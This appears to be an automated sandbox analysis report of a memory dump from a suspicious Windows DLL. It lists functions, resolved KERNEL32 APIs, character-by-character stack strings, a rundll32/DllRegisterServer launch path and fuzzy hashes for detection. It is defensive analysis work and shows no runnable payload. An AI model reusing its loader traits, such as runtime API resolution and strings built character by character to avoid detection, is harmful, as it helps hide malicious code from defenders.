Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID: *?
API String ID: 4036615347-2564092906
Opcode ID: efa3e749a507d8a643090a18ef4acb0c6b577de9c2d95de8a122e4de28a40207
Instruction ID: a3fa6aeef37f457d6f9ce1be966625abc1aec92fafacfb9bd8734a7ed25d16c2
Opcode Fuzzy Hash: efa3e749a507d8a643090a18ef4acb0c6b577de9c2d95de8a122e4de28a40207
Instruction Fuzzy Hash: 7E51BE62B1875585EB11EBA69C014A9ABA1FF48BD8F845636EE0D87BC5FF38D0418360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D711418, Relevance: 3.2, APIs: 2, Instructions: 232COMMON

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF70D711667
RaiseException.KERNEL32 ref: 00007FF70D711678

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 5098a611e1ec7668324396e1330dbd8e03140ae84631988fc0ce3dd74256d915
Instruction ID: a468d44cf10b8b4f371b8f99f07bd9bd08d316adc6c0ddd9555c54267d47ebbe
Opcode Fuzzy Hash: 5098a611e1ec7668324396e1330dbd8e03140ae84631988fc0ce3dd74256d915
Instruction Fuzzy Hash: 3BB15C7B604B458BEB15CF2DC88226877A0FB48B48F998A21DB5D877A4DF39D451C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70CE00, Relevance: 1.6, APIs: 1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1caaec03142cb2544a566888bcfe7d8898d3a19b74a4c1d6af121e1989f83501
Instruction ID: 0645b5df1960d0026644fafb88c7583d714382cd18c15b57c0106ef4b07bc39e
Opcode Fuzzy Hash: 1caaec03142cb2544a566888bcfe7d8898d3a19b74a4c1d6af121e1989f83501
Instruction Fuzzy Hash: 8651B422B0C79184F720AB65AC002AEBEA5AF497D4F945235EE5C97EC5EF38D141C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D711BD0, Relevance: .6, Instructions: 579COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09068566040e6e9fa6f95ee59779dbb0095388af80b0872256d7808c9282f2f7
Instruction ID: ddeed47ecc79c64b00d61be04f0bc4ffec003f96fd48c4e8b5d0a6e77dd1a101
Opcode Fuzzy Hash: 09068566040e6e9fa6f95ee59779dbb0095388af80b0872256d7808c9282f2f7
Instruction Fuzzy Hash: 3152232992DF4A85E253AF7D9C12575A724BF5F380F81A333E80E76B51FF2CA4458620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70982C, Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 2470468d10867bb7fd3918b7df6eda74b489a5f4d20f8d8a0bde9b506e9dd042
Instruction ID: 9c6905586eebf9733d310d5624cba930cf972495f499acc1b659a55587cb7922
Opcode Fuzzy Hash: 2470468d10867bb7fd3918b7df6eda74b489a5f4d20f8d8a0bde9b506e9dd042
Instruction Fuzzy Hash: D541CD62718B5482EB14DF2ADD14669A7A1FB4CFD4F88A436EE4D97B99EF3CC0018700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F2F90, Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5211158d21b0e28649d5aa32c1cfb52d576dff6eb2e696b92bb0e9b51ba878c1
Instruction ID: 8bae091b768fb7715c25fd885eedc2c571862ac34ae53001ceae5f35fc0d9564
Opcode Fuzzy Hash: 5211158d21b0e28649d5aa32c1cfb52d576dff6eb2e696b92bb0e9b51ba878c1
Instruction Fuzzy Hash: D01198B3D0C6829BD7598F2DA14122AFBE0F798340F51D22EE7D992A59E738D5848F04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7141E8, Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e44173f7a70618d039f387c887fc459e23345a38b8887dcc7d49832973d1e9e
Instruction ID: a8e8bb536509b5aeadb27bc0333b816430f2b0e2a5215925b184da3b13867f62
Opcode Fuzzy Hash: 1e44173f7a70618d039f387c887fc459e23345a38b8887dcc7d49832973d1e9e
Instruction Fuzzy Hash: B601A28FC0D7C60AF35296580C611A86E41AFBAB087895276C744473D3FF1EA806C636

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D704174, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83c144db4aedc18a7c680328c234a281744c85a6c95c2ea51f8eccfaf25e5396
Instruction ID: 26423d6d194d094db3c9aae2f3f2d4f75c08d69929c69fa473c36c7bf11b31bd
Opcode Fuzzy Hash: 83c144db4aedc18a7c680328c234a281744c85a6c95c2ea51f8eccfaf25e5396
Instruction Fuzzy Hash: F4A0022D90CE03E1E605AB04ED50030A734EF78308FC22135C50DA21A0FF3CA640D325

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703080, Relevance: 84.2, APIs: 9, Strings: 39, Instructions: 162stringlibrarymemoryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D703134
GetProcAddress.KERNEL32 ref: 00007FF70D7031E2
GetProcAddress.KERNEL32 ref: 00007FF70D703274
lstrlenA.KERNEL32 ref: 00007FF70D703286
lstrlenA.KERNEL32 ref: 00007FF70D70329A
GetProcessHeap.KERNEL32 ref: 00007FF70D7032A9
HeapAlloc.KERNEL32 ref: 00007FF70D7032B7
lstrcpyA.KERNEL32 ref: 00007FF70D7032D9
lstrcpyA.KERNEL32 ref: 00007FF70D7032EA

Strings

r, xrefs: 00007FF70D7030D7
p, xrefs: 00007FF70D703237
i, xrefs: 00007FF70D703181
C, xrefs: 00007FF70D7030F0
V, xrefs: 00007FF70D7030C8
N, xrefs: 00007FF70D703190
a, xrefs: 00007FF70D703195
e, xrefs: 00007FF70D70315B
p, xrefs: 00007FF70D703219
A, xrefs: 00007FF70D7031A4
e, xrefs: 00007FF70D70316D
o, xrefs: 00007FF70D7030D2
g, xrefs: 00007FF70D7030CD
m, xrefs: 00007FF70D703172
Q, xrefs: 00007FF70D703228
p, xrefs: 00007FF70D70320F
O, xrefs: 00007FF70D703207
v, xrefs: 00007FF70D7030E6
e, xrefs: 00007FF70D70319F
GwO, xrefs: 00007FF70D7031DA, 00007FF70D7031C0, 00007FF70D7031AE
g, xrefs: 00007FF70D7030BB
m, xrefs: 00007FF70D70319A
p, xrefs: 00007FF70D703223
j, xrefs: 00007FF70D7030EB
R, xrefs: 00007FF70D7030DC
v, xrefs: 00007FF70D7030C3
L, xrefs: 00007FF70D70323C
t, xrefs: 00007FF70D70322D
w, xrefs: 00007FF70D703232
p, xrefs: 00007FF70D703177
T, xrefs: 00007FF70D703168
l, xrefs: 00007FF70D703186
I, xrefs: 00007FF70D7030B4
e, xrefs: 00007FF70D70318B
F, xrefs: 00007FF70D70317C
t, xrefs: 00007FF70D703163
c, xrefs: 00007FF70D7030E1
G, xrefs: 00007FF70D703153
w, xrefs: 00007FF70D703214

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$Heaplstrcpylstrlen$AllocProcess
String ID: A$C$F$G$GwO$I$L$N$O$Q$R$T$V$a$c$e$e$e$e$g$g$i$j$l$m$m$o$p$p$p$p$p$r$t$t$v$v$w$w
API String ID: 1108828635-2548464160
Opcode ID: 874a44c536159fc917887122c013d29023c26046ad136192f1180a977d52053d
Instruction ID: 0ec7c8dd630d30aca43ed6d7502c6d31f83ecfa6f40a9f44c4fcf89ee4d78fcb
Opcode Fuzzy Hash: 874a44c536159fc917887122c013d29023c26046ad136192f1180a977d52053d
Instruction Fuzzy Hash: 9E71721250C7C189E711D729E81436BEF91EB9A788F481164E7CD07B9AEFBED1088B25

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702DE0, Relevance: 70.2, APIs: 7, Strings: 33, Instructions: 155stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D702E94
GetProcAddress.KERNEL32 ref: 00007FF70D702F44
GetProcAddress.KERNEL32 ref: 00007FF70D702FE4
lstrlenW.KERNEL32 ref: 00007FF70D702FF6
lstrlenW.KERNEL32 ref: 00007FF70D703009
lstrcpyW.KERNEL32 ref: 00007FF70D703035
lstrcpyW.KERNEL32 ref: 00007FF70D703043

Strings

e, xrefs: 00007FF70D702FA2
2, xrefs: 00007FF70D702FA7
8, xrefs: 00007FF70D702E50
W, xrefs: 00007FF70D702F89
^, xrefs: 00007FF70D702F98
-, xrefs: 00007FF70D702EE6
$, xrefs: 00007FF70D702E4B
[, xrefs: 00007FF70D702F93
,, xrefs: 00007FF70D702EFA
1, xrefs: 00007FF70D702ED7
$, xrefs: 00007FF70D702ECD
^, xrefs: 00007FF70D702F7A
$, xrefs: 00007FF70D702E28
=, xrefs: 00007FF70D702E37
W, xrefs: 00007FF70D702F9D
5, xrefs: 00007FF70D702E20
5, xrefs: 00007FF70D702E32
P, xrefs: 00007FF70D702E5A
$, xrefs: 00007FF70D702EFF
5, xrefs: 00007FF70D702EC3
, xrefs: 00007FF70D702E3C
GwO, xrefs: 00007FF70D702E46
W, xrefs: 00007FF70D702F7F
(, xrefs: 00007FF70D702EE1
W, xrefs: 00007FF70D702F75
$, xrefs: 00007FF70D702EBB
t, xrefs: 00007FF70D702F8E
, xrefs: 00007FF70D702EF5
$, xrefs: 00007FF70D702EEB
F, xrefs: 00007FF70D702F84
A, xrefs: 00007FF70D702F09
,, xrefs: 00007FF70D702ED2
v, xrefs: 00007FF70D702F6D

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$lstrcpylstrlen
String ID: $ $$$$$$$$$$$$$($,$,$-$1$2$5$5$5$8$=$A$F$GwO$P$W$W$W$W$[$^$^$e$t$v
API String ID: 2413986714-4086040275
Opcode ID: db0bc7b122339306b359e609266691caf556561d67b914e1d679ca71eb321247
Instruction ID: cd6a36a91d924aed9112c690f88eb966be3fdc72b92fb6a37825e153fb2082cd
Opcode Fuzzy Hash: db0bc7b122339306b359e609266691caf556561d67b914e1d679ca71eb321247
Instruction Fuzzy Hash: A771801210C7C1C5E721D725E84836FAFA1EB9A748F881165E7C907A9ADFBEC109CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F1FE0, Relevance: 59.7, APIs: 7, Strings: 27, Instructions: 215librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F20A8
GetProcAddress.KERNEL32 ref: 00007FF70D6F21C8
lstrlenA.KERNEL32 ref: 00007FF70D6F2218
GetProcessHeap.KERNEL32 ref: 00007FF70D6F2225
HeapAlloc.KERNEL32 ref: 00007FF70D6F2233
lstrcpyA.KERNEL32 ref: 00007FF70D6F224C
GetProcAddress.KERNEL32 ref: 00007FF70D6F2318

Strings

", xrefs: 00007FF70D6F2294
,, xrefs: 00007FF70D6F2115
8, xrefs: 00007FF70D6F2106
6, xrefs: 00007FF70D6F203A
<, xrefs: 00007FF70D6F204E
2, xrefs: 00007FF70D6F20F2
?, xrefs: 00007FF70D6F22CC
m, xrefs: 00007FF70D6F218D
", xrefs: 00007FF70D6F2025
3, xrefs: 00007FF70D6F214B
, xrefs: 00007FF70D6F2110
#, xrefs: 00007FF70D6F2160
?, xrefs: 00007FF70D6F205D
}, xrefs: 00007FF70D6F22DB
=, xrefs: 00007FF70D6F2067
6, xrefs: 00007FF70D6F22A9
A, xrefs: 00007FF70D6F211F
-, xrefs: 00007FF70D6F2188
1, xrefs: 00007FF70D6F216F
-, xrefs: 00007FF70D6F20FC
1, xrefs: 00007FF70D6F20F7
$, xrefs: 00007FF70D6F211A
=, xrefs: 00007FF70D6F22D6
(, xrefs: 00007FF70D6F20ED
<, xrefs: 00007FF70D6F22BD
, xrefs: 00007FF70D6F2101
}, xrefs: 00007FF70D6F206C

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$Heap$AllocProcesslstrcpylstrlen
String ID: $ $"$"$#$$$($,$-$-$1$1$2$3$6$6$8$<$<$=$=$?$?$A$m$}$}
API String ID: 2605257192-3767453218
Opcode ID: f6cde076af792b1fd633727d212fe44b1f929b46f3ed7023f3d25a66c9c7b49c
Instruction ID: c2be6cc7cc47186c9467853343534a65495564b868fbe7deff5585b7a0367ed1
Opcode Fuzzy Hash: f6cde076af792b1fd633727d212fe44b1f929b46f3ed7023f3d25a66c9c7b49c
Instruction Fuzzy Hash: BCB1612250C7C189E711D769E40439EBFA1EB9A348F580159EBC807B9ADFBDD145CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F7580, Relevance: 45.7, APIs: 6, Strings: 20, Instructions: 205memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F7683
GetProcessHeap.KERNEL32 ref: 00007FF70D6F768E
HeapFree.KERNEL32 ref: 00007FF70D6F769C

Part of subcall function 00007FF70D6F6540: GetProcAddress.KERNEL32 ref: 00007FF70D6F65D4

GetProcessHeap.KERNEL32 ref: 00007FF70D6F77CF
HeapFree.KERNEL32 ref: 00007FF70D6F77DE
GetProcAddress.KERNEL32 ref: 00007FF70D6F7863

Part of subcall function 00007FF70D6F5E20: GetProcAddress.KERNEL32 ref: 00007FF70D6F5EA6

Part of subcall function 00007FF70D6F5790: GetProcAddress.KERNEL32 ref: 00007FF70D6F5834

Strings

q, xrefs: 00007FF70D6F76CB
|, xrefs: 00007FF70D6F76C7
p, xrefs: 00007FF70D6F7644
p, xrefs: 00007FF70D6F7634
L, xrefs: 00007FF70D6F7648
|, xrefs: 00007FF70D6F76DF
w, xrefs: 00007FF70D6F76D7
p, xrefs: 00007FF70D6F7624
b, xrefs: 00007FF70D6F7830
u, xrefs: 00007FF70D6F76CF
', xrefs: 00007FF70D6F781C
1, xrefs: 00007FF70D6F7810
p, xrefs: 00007FF70D6F762C
O, xrefs: 00007FF70D6F7620
t, xrefs: 00007FF70D6F763C
Q, xrefs: 00007FF70D6F7638
}, xrefs: 00007FF70D6F76DB
m, xrefs: 00007FF70D6F76D3
w, xrefs: 00007FF70D6F7628
w, xrefs: 00007FF70D6F7640

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$Heap$FreeProcess
String ID: '$1$L$O$Q$b$m$p$p$p$p$q$t$u$w$w$w$|$|$}
API String ID: 1809629675-864240056
Opcode ID: 7b2613fb41ac217bc9fd27d995f8096b17f0ed96b8fd8a81380eb6617707fbde
Instruction ID: eb898fccd3fa67513094b1b36b4db141a8bd3564a5274edc98d0497404161771
Opcode Fuzzy Hash: 7b2613fb41ac217bc9fd27d995f8096b17f0ed96b8fd8a81380eb6617707fbde
Instruction Fuzzy Hash: 0691A412E0C78188F721A776DC142FDABA26F197C8F840139EE9D16B96EF7DE0058721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E8320, Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 184libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6E83B1
GetProcAddress.KERNEL32 ref: 00007FF70D6E8463
GetProcAddress.KERNEL32 ref: 00007FF70D6E8503

Strings

p, xrefs: 00007FF70D6E84C3
w, xrefs: 00007FF70D6E84B3
t, xrefs: 00007FF70D6E849F
}, xrefs: 00007FF70D6E84A3
+, xrefs: 00007FF70D6E8412
p, xrefs: 00007FF70D6E84BF
}, xrefs: 00007FF70D6E84BB
:, xrefs: 00007FF70D6E8422
-, xrefs: 00007FF70D6E8426
l, xrefs: 00007FF70D6E84AF
Q, xrefs: 00007FF70D6E84B7
5, xrefs: 00007FF70D6E840A
-, xrefs: 00007FF70D6E83FE
0, xrefs: 00007FF70D6E83F3
VirtualAlloc, xrefs: 00007FF70D6E8385
,, xrefs: 00007FF70D6E8402
<, xrefs: 00007FF70D6E841E
8, xrefs: 00007FF70D6E8406
6, xrefs: 00007FF70D6E8416
-, xrefs: 00007FF70D6E841A
a, xrefs: 00007FF70D6E8498
Y, xrefs: 00007FF70D6E842A
+, xrefs: 00007FF70D6E83FA

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: +$+$,$-$-$-$0$5$6$8$:$<$Q$VirtualAlloc$Y$a$l$p$p$t$w$}$}
API String ID: 190572456-4123616523
Opcode ID: 3b3ccfbae38fb10be284700923376ef299b54db3761c803f34b331b2777fe38e
Instruction ID: e6d6138a882382355d87fbfb8b3bd5a9dd2329772f570e4f9f685854b63f2b43
Opcode Fuzzy Hash: 3b3ccfbae38fb10be284700923376ef299b54db3761c803f34b331b2777fe38e
Instruction Fuzzy Hash: D3814B12F0C3D18CF701E7B598143ED6FA25B5A7CCF480469EE492BB8AEE6E91058375

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FD1A0, Relevance: 44.0, APIs: 2, Strings: 23, Instructions: 239libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6FD394

Part of subcall function 00007FF70D6FC6B0: GetProcAddress.KERNEL32 ref: 00007FF70D6FC764
Part of subcall function 00007FF70D6FC6B0: CreatePipe.KERNEL32 ref: 00007FF70D6FC778

Part of subcall function 00007FF70D6F66C0: GetProcAddress.KERNEL32 ref: 00007FF70D6F6764

GetProcAddress.KERNEL32 ref: 00007FF70D6FD496

Part of subcall function 00007FF70D6F5990: GetProcAddress.KERNEL32 ref: 00007FF70D6F5A05

Part of subcall function 00007FF70D6F5700: GetProcAddress.KERNEL32 ref: 00007FF70D6F5775

Part of subcall function 00007FF70D6F5900: GetProcAddress.KERNEL32 ref: 00007FF70D6F5975

Strings

k, xrefs: 00007FF70D6FD43D
Y, xrefs: 00007FF70D6FD42D
E, xrefs: 00007FF70D6FD35B
e, xrefs: 00007FF70D6FD329
G, xrefs: 00007FF70D6FD314
T, xrefs: 00007FF70D6FD338
i, xrefs: 00007FF70D6FD324
i, xrefs: 00007FF70D6FD333
v, xrefs: 00007FF70D6FD442
s, xrefs: 00007FF70D6FD342
H, xrefs: 00007FF70D6FD44C
v, xrefs: 00007FF70D6FD31C
n, xrefs: 00007FF70D6FD456
k, xrefs: 00007FF70D6FD451
t, xrefs: 00007FF70D6FD435
i, xrefs: 00007FF70D6FD34C
g, xrefs: 00007FF70D6FD347
g, xrefs: 00007FF70D6FD447
w, xrefs: 00007FF70D6FD351
v, xrefs: 00007FF70D6FD33D
x, xrefs: 00007FF70D6FD32E
g, xrefs: 00007FF70D6FD45B
w, xrefs: 00007FF70D6FD356

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$CreatePipe
String ID: E$G$H$T$Y$e$g$g$g$i$i$i$k$k$n$s$t$v$v$v$w$w$x
API String ID: 800119289-1235229958
Opcode ID: 86fdc50240db87d5607c5b51217b4985b894507354c54a90f2d7b7768a842a13
Instruction ID: 2a622c7bf4e4651082a7f032cefd7acc96ff7464e72d2409ea3747f0ac953fac
Opcode Fuzzy Hash: 86fdc50240db87d5607c5b51217b4985b894507354c54a90f2d7b7768a842a13
Instruction Fuzzy Hash: BDB16422E0CB8185E701E775E8142AEABA1EF557C8F445139FE8D07B5AEF7DE0548B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F6790, Relevance: 43.8, APIs: 1, Strings: 24, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F6843

Strings

i, xrefs: 00007FF70D6F67BE
t, xrefs: 00007FF70D6F67EE
q, xrefs: 00007FF70D6F67C6
k, xrefs: 00007FF70D6F67E6
q, xrefs: 00007FF70D6F6802
m, xrefs: 00007FF70D6F67F6
K, xrefs: 00007FF70D6F67D2
v, xrefs: 00007FF70D6F67A9
q, xrefs: 00007FF70D6F67DA
t, xrefs: 00007FF70D6F67C2
v, xrefs: 00007FF70D6F680A
z, xrefs: 00007FF70D6F67D6
|, xrefs: 00007FF70D6F67FE
[, xrefs: 00007FF70D6F67F2
Q, xrefs: 00007FF70D6F67A2
i, xrefs: 00007FF70D6F67EA
q, xrefs: 00007FF70D6F67B0
q, xrefs: 00007FF70D6F67E2
q, xrefs: 00007FF70D6F67BA
|, xrefs: 00007FF70D6F67B6
|, xrefs: 00007FF70D6F67DE
w, xrefs: 00007FF70D6F6806
m, xrefs: 00007FF70D6F67CE
k, xrefs: 00007FF70D6F67FA

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: K$Q$[$i$i$k$k$m$m$q$q$q$q$q$q$t$t$v$v$w$z$|$|$|
API String ID: 190572456-1375683818
Opcode ID: 2d71a2f4020e910ff41427e28322810bb3b84f52e3d3b38f21a63c5d348a27b5
Instruction ID: 0c7b4b0fbaed4bc295e6b746e22a0b7a6bc61b884304e95536dfabd86f5abbcf
Opcode Fuzzy Hash: 2d71a2f4020e910ff41427e28322810bb3b84f52e3d3b38f21a63c5d348a27b5
Instruction Fuzzy Hash: 0921CD12F0C7C0DCF70287BD94083AD3FA1572678CF084498DF992AA9BD7AE52598776

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F5790, Relevance: 35.1, APIs: 1, Strings: 19, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F5834

Strings

n, xrefs: 00007FF70D6F57DC
M, xrefs: 00007FF70D6F57E4
g, xrefs: 00007FF70D6F57E0
l, xrefs: 00007FF70D6F57D4
p, xrefs: 00007FF70D6F57C8
k, xrefs: 00007FF70D6F57D0
m, xrefs: 00007FF70D6F57C4
v, xrefs: 00007FF70D6F57F8
h, xrefs: 00007FF70D6F57EC
g, xrefs: 00007FF70D6F57F0
e, xrefs: 00007FF70D6F57D8
c, xrefs: 00007FF70D6F57AE
v, xrefs: 00007FF70D6F57BC
k, xrefs: 00007FF70D6F57B5
a, xrefs: 00007FF70D6F57F4
D, xrefs: 00007FF70D6F57C0
`, xrefs: 00007FF70D6F57E8
Q, xrefs: 00007FF70D6F57CC
U, xrefs: 00007FF70D6F57A7

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: D$M$Q$U$`$a$c$e$g$g$h$k$k$l$m$n$p$v$v
API String ID: 190572456-502417023
Opcode ID: bc0331a35754c45364e6f98b896d02284db8642b3979c67a1a99bb74a52a23e0
Instruction ID: 336540d70cd92c1b5c8fbe42a47e7c276bc8edf5532c0378e60222c9fb3afb7b
Opcode Fuzzy Hash: bc0331a35754c45364e6f98b896d02284db8642b3979c67a1a99bb74a52a23e0
Instruction Fuzzy Hash: FE214F12F0C7D0CDF30187B9D4083AD6FA1571674CF084898DF982BB8AC7AE82198775

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E33F0, Relevance: 33.3, APIs: 1, Strings: 18, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6E34A4

Strings

c, xrefs: 00007FF70D6E342C
q, xrefs: 00007FF70D6E3409
{, xrefs: 00007FF70D6E3460
M, xrefs: 00007FF70D6E346C
z, xrefs: 00007FF70D6E3434
y, xrefs: 00007FF70D6E3428
~, xrefs: 00007FF70D6E3450
~, xrefs: 00007FF70D6E3464
q, xrefs: 00007FF70D6E3454
P, xrefs: 00007FF70D6E3448
q, xrefs: 00007FF70D6E3424
u, xrefs: 00007FF70D6E3430
u, xrefs: 00007FF70D6E344C
S, xrefs: 00007FF70D6E3402
o, xrefs: 00007FF70D6E3458
{, xrefs: 00007FF70D6E343C
p, xrefs: 00007FF70D6E3438
_, xrefs: 00007FF70D6E3414

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: M$P$S$_$c$o$p$q$q$q$u$u$y$z${${$~$~
API String ID: 190572456-1472610505
Opcode ID: 38361fa8c5ad50b8f2bf7bbc886011428b11ea3a55fecb5f2d39bc308503a9e3
Instruction ID: 2acbe45970b3342dd0bb495ab944586e31b57f848b652b883c1fb99634b4d4db
Opcode Fuzzy Hash: 38361fa8c5ad50b8f2bf7bbc886011428b11ea3a55fecb5f2d39bc308503a9e3
Instruction Fuzzy Hash: 9C210F02F1C7C1DCF30297BD84083AD2FA2532639CF084598DF982BBDAC7AD524587A6

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E1A00, Relevance: 31.8, APIs: 1, Strings: 17, Instructions: 285libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6E1EB0

Strings

C:\Windows\System32\rundll32.exe, xrefs: 00007FF70D6E1AD1
d, xrefs: 00007FF70D6E1E29
!, xrefs: 00007FF70D6E1E01
w, xrefs: 00007FF70D6E1E06
H, xrefs: 00007FF70D6E1B02
j, xrefs: 00007FF70D6E1E0B
+, xrefs: 00007FF70D6E1DF7
A, xrefs: 00007FF70D6E1E1F
{, xrefs: 00007FF70D6E1DF2
+, xrefs: 00007FF70D6E1E1A
h, xrefs: 00007FF70D6E1E10
u, xrefs: 00007FF70D6E1DEA
j, xrefs: 00007FF70D6E1E24
=, xrefs: 00007FF70D6E1E2E
DllRegisterServer, xrefs: 00007FF70D6E1D11
y, xrefs: 00007FF70D6E1DFC
C:\Users\user\Desktop\TWsmIoYqC6.dll, xrefs: 00007FF70D6E1C41

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: !$+$+$=$A$C:\Users\user\Desktop\TWsmIoYqC6.dll$C:\Windows\System32\rundll32.exe$DllRegisterServer$H$d$h$j$j$u$w$y${
API String ID: 190572456-1418995484
Opcode ID: 37e9cbc2f1f7e5ff84852ce26defcf3a9b3cd6133b1e615ca577ca726014d750
Instruction ID: 0bb09c9205f10e3c778a3af28f6c67118ea590a39fac279461b8bcb32d1a891c
Opcode Fuzzy Hash: 37e9cbc2f1f7e5ff84852ce26defcf3a9b3cd6133b1e615ca577ca726014d750
Instruction Fuzzy Hash: D0D183526183C089E3109BA4E4003AEB771FF59348F50612AFA8DDBBA9EB3DC545CB19

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E2490, Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 116libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6E2581

Strings

a, xrefs: 00007FF70D6E24FD
_, xrefs: 00007FF70D6E24C3
s, xrefs: 00007FF70D6E24E1
m, xrefs: 00007FF70D6E24D5
p, xrefs: 00007FF70D6E24F1
q, xrefs: 00007FF70D6E24E9
F, xrefs: 00007FF70D6E24E5
*, xrefs: 00007FF70D6E252C
@, xrefs: 00007FF70D6E2501
a, xrefs: 00007FF70D6E24ED
_, xrefs: 00007FF70D6E24D1
:, xrefs: 00007FF70D6E24DD
F, xrefs: 00007FF70D6E2505
:, xrefs: 00007FF70D6E24F9
F, xrefs: 00007FF70D6E24D9
d, xrefs: 00007FF70D6E24CA
s, xrefs: 00007FF70D6E24F5

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: *$:$:$@$F$F$F$_$_$a$a$d$m$p$q$s$s
API String ID: 190572456-2314140959
Opcode ID: d27d776dec981bfd1690e75e99e7cab2f0cb3fb31206b649455ac3014bb6f914
Instruction ID: 57e3471c6a51d37a2f7535d2e0946c19213833df84120b597f2606d20a67076e
